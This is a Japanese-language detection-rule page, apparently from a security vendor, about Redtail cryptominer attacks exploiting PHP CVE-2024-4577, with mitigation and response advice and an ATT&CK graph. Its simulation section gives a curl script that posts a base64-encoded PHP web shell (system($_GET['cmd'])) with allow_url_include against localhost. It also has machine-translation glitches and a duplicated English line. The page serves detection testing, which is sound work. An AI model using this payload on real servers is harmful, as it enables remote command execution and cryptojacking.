LibredtailがCVE-2024-4577を悪用して暗号通貨マイニングを実行
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
この記事では、HTTPリクエストを介して配信されるredtailマルウェアファミリーを含む暗号採掘キャンペーンについて詳述しています。 CVE-2024-4577 PHPで。脅威アクターは、自己複製スクリプト cve_2024_4577.selfrepと呼ばれるものを取得して実行するBase64エンコードされたペイロードを送信します。この活動は脆弱なウェブサーバーを対象としており、アクセスを拡大するためにデフォルトの資格情報に依存したその後のSSHログイン試行と組み合わせられています。
調査
研究者は、ドイツ、イギリス、インドからの複数のIPアドレスを観察し、次の場所へ移行するように設計された4つのHTTP POSTリクエストを送信しました。 /bin/sh、次に wget or curl を使用してシェルスクリプトをダウンロードし、 CVE-2024-4577 エクスプロイトを引き起こします。成功した場合、攻撃は隠された .redtail バイナリをドロップし、ホスト上で既に実行中の競合する暗号採掘サービスを終了させます。調査では、 admin/adminのような資格情報を使用したSSHログイン試行も記録され、SYNスキャン活動と共に得られました。
対策
組織は CVE-2024-4577を解決するバージョンにPHPインストールを更新し、 libredtail-http ユーザーエージェントを境界でブロックし、 /sh あるいは既知のエクスプロイトペイロードパターンを含むリクエストを拒否するWAFルールを展開する必要があります。SSHアクセスはキーに基づく認証を実施し、デフォルトまたは弱い資格情報を無効にすることで強化されるべきです。未知のIPアドレスへの疑わしいアウトバウンドトラフィックを監視することも推奨されます。
対応
検出がトリガーされたとき、防御者は影響を受けたシステムを隔離し、 cve_2024_4577.selfrep スクリプトと .redtail バイナリなどのフォレンジックアーティファクトを収集し、マルウェアによって作成されたcronジョブやスケジュールタスクを削除する必要があります。セキュリティチームはその後、環境内のPHPアプリケーションをインベントリし、必要なパッチを適用すべきです。SSHログも資格情報の悪用や不正アクセスの痕跡を確認するためにレビューされるべきです。
"graph TB %% クラス定義 classDef technique fill:#99ccff %% ノード – MITRE ATT&CK テクニック tech_exploit_app["<b>テクニック</b> – <b>T1190 公開アプリケーションのエクスプロイト</b><br/><b>説明</b>: 攻撃者は公開されたアプリケーションをエクスプロイトすることで初期アクセスを得ることがあります。"] class tech_exploit_app technique tech_content_injection["<b>テクニック</b> – <b>T1659 コンテンツインジェクション</b><br/><b>説明</b>: 攻撃者はPHPペイロードなどの悪意のあるコンテンツをWebアプリケーションに注入し、コード実行を達成します。"] class tech_content_injection technique tech_deobfuscate["<b>テクニック</b> – <b>T1140 ファイルまたは情報のデコード/デオブスクエーション</b><br/><b>説明</b>: 攻撃者はデータ(例:Base64)をデコードまたはデオブスクエートして、コマンドまたはペイロードを明らかにします。"] class tech_deobfuscate technique tech_unix_shell["<b>テクニック</b> – <b>T1059.004 Unix シェル</b><br/><b>説明</b>: 攻撃者はUnixシェルを使用して、wget、curl、またはshなどを使ったコマンドを実行し、悪意あるコードをダウンロードおよび実行します。"] class tech_unix_shell technique tech_hidden_file["<b>テクニック</b> – <b>T1564.001 隠されたファイルとディレクトリ</b><br/><b>説明</b>: 攻撃者は隠されたファイルまたはディレクトリ(例:.redtail)を作成し、悪意あるアーティファクトを隠蔽します。"] class tech_hidden_file technique tech_compute_hijack["<b>テクニック</b> – <b>T1496.001 コンピュートハイジャック</b><br/><b>説明</b>: 攻撃者はシステムコンピュートリソースを乗っ取り、許可されていない暗号採掘を実行します。"] class tech_compute_hijack technique tech_brute_force["<b>テクニック</b> – <b>T1110.001 パスワード推測</b><br/><b>説明</b>: 攻撃者は資格情報を取得するために推測(例:SSH admin/admin)を試みます。"] class tech_brute_force technique tech_network_discovery["<b>テクニック</b> – <b>T1046 ネットワークサービスディスカバリー</b><br/><b>説明</b>: 攻撃者はアクティブなネットワークサービスや開いているポートをスキャン(二例:SYNスキャン)します。"] class tech_network_discovery technique tech_obfuscate["<b>テクニック</b> – <b>T1027 オブスクエートされたファイルまたは情報</b><br/><b>説明</b>: 攻撃者はファイルをエンコードまたは別の方法でオブスクエーションして検知を回避します(例:Base64エンコードされたPOSTボディ)。"] class tech_obfuscate technique %% 攻撃の流れを示す接続 tech_exploit_app –>|leads_to| tech_content_injection tech_content_injection –>|leads_to| tech_deobfuscate tech_deobfuscate –>|leads_to| tech_unix_shell tech_unix_shell –>|leads_to| tech_hidden_file tech_hidden_file –>|leads_to| tech_compute_hijack tech_exploit_app –>|also_triggers| tech_brute_force tech_brute_force –>|leads_to| tech_network_discovery tech_unix_shell –>|enables| tech_obfuscate "
攻撃フロー
シミュレーション実行
前提条件: テレメトリーとベースラインの事前チェックが合格していること。
根拠: このセクションは、検出ルールをトリガーするために設計された敵の技術(TTP)の具体的な実行を詳細に示します。コマンドと記述は、特定されたTTPを直接反映し、検出ロジックによって予想される正確なテレメトリーを生成することを目的とします。
-
攻撃の物語と命令:
敵は、侵害されたウェブサーバー上で足場を得ており、それを使用して持続性を確立しようとしています。 Libredtail-HTTP web-shell。彼らは悪意のあるHTTP POSTを作成します:- 特徴的な libredtail-http ユーザーエージェント(このマルウェアは自身のトラフィックを識別するのに役立つ)。
- を含み、コマンド実行の要求とPHPディレクティブ /bin/sh を含むURLクエリとして、 allow_url_include=1 を許可し、リモートコードのインクルードを可能にします。
- を送信し、 base64エンコードされた ペイロードをリクエストボディに含め、PHPコードを持っています。
<?php system($_GET['cmd']); ?>(オブスクエート – T1027)。 - カスタムヘッダーを設定 スクリプト実行: apache.selfrep Libredtail-HTTPは内部で自己複製に使用し(一致
スクリプト_実行|含むが).
このリクエストを処理したサーバーはペイロードをデコードし、ウェブルートに悪意のあるPHPファイルを書き込み、その後、で受け取ったコマンドを実行して攻撃者へ暗号化されたチャンネルを確立します (T1573)。
/bin/sh, establishing an encrypted channel back to the attacker (T1573). -
回帰テストスクリプト:
#!/usr/bin/env bash # ------------------------------------------------- # Libredtail-HTTPの悪意あるリクエストのシミュレーション # ------------------------------------------------- TARGET="http://localhost/upload.php" USER_AGENT="libredtail-http" MALICIOUS_PAYLOAD=$(echo -n '<?php system($_GET["cmd"]); ?>' | base64) curl -X POST "$TARGET?dir=/bin/sh&allow_url_include=1" -H "User-Agent: $USER_AGENT" -H "Script-Execution: apache.selfrep" -H "Content-Type: application/x-www-form-urlencoded" --data "payload=$MALICIOUS_PAYLOAD&marker=cve_2024_4577.selfrep" # リクエストはサーバー上でPHP Webシェルを作成/上書きする必要があります。ターゲットのWebサーバーに到達可能なマシンでスクリプトを実行します。実行の後に、SIEMでアラートが発火することを確認します。
-
クリーナップコマンド:
#!/usr/bin/env bash # テストによって作成された悪意のあるPHP Webシェルを削除 CLEANUP_TARGET="http://localhost/cleanup.php" curl -X POST "$CLEANUP_TARGET" -H "User-Agent: libredtail-http" -d "file=uploaded_shell.php"クリーンアップエンドポイントはテスト目的であると仮定されています。直接ホストアクセスがある場合は適切なファイルシステム削除コマンドに置き換えてください。